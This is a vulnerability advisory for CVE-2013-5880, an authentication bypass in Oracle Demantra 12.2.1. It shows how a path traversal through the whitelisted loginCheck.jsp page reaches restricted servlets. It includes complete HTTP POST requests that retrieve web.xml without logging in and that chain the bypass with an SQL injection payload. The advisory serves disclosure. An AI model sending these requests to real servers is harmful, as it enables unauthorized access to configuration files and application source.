Tried, Tested and Proven

Vulnerability title: Authentication Bypass In Oracle Demantra

CVE: CVE-2013-5880
Vendor: Oracle
Product: Demantra
Affected version: 12.2.1
Fixed version: 12.2.3
Reported by: Oliver Gruskovnjak

Details:

The authentication filter is broken by design.

For example the page:

/demantra/common/loginCheck.jsp

Is accessible by an unauthenticated user and is therefore listed in the whitelisted URLs list. It is now possible to use this whitelisted URL to access restricted URLs.

As an example the also reported Arbitrary File retrieval vulnerability can be exploited unauthenticated by changing the POST request from:

/demantra/GraphServlet

to:

/demantra/common/loginCheck.jsp/../../GraphServlet

Sample Request:

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml

This attack works with other vulnerabilities reported like the SQL injection for example by using the following request:

POST /demantra/common/loginCheck.jsp/../../portal/editExecDefinition.jsp HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.14.171:8080/demantra/portal/editExecDefinition.jsp?menuBarId=2&menuGroupId=4&menuItemId=10&tkn=919872817530076
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=6741133838FDEC5D65258F72A4E4EB87
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 388

done=done&menuBarId=2&menuGroupId=4&tkn=919872817530076&menuItemId=10&menuAction=edit&order=0&command=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm'&title=Demantra+Web+Site&description=Demantra+Web+Site&type=3&fileInput=&linkInput=http%3A%2F%2Fwww.oracle.com%2Fdemantra%2Findex.htm%27&desktopCommand=%23DEMANTRA.MODELER%23&param=

Impact:

Impact can differ based on the exploitation and the read permission of the web server user. Depending on these factors an attacker might carry out one or more of the following attacks:

- Harvest useful information from the web.xml configuration file.
- Download the whole web application source code like the vulnerable page itself.

Exploit:

Exploit code is not required.


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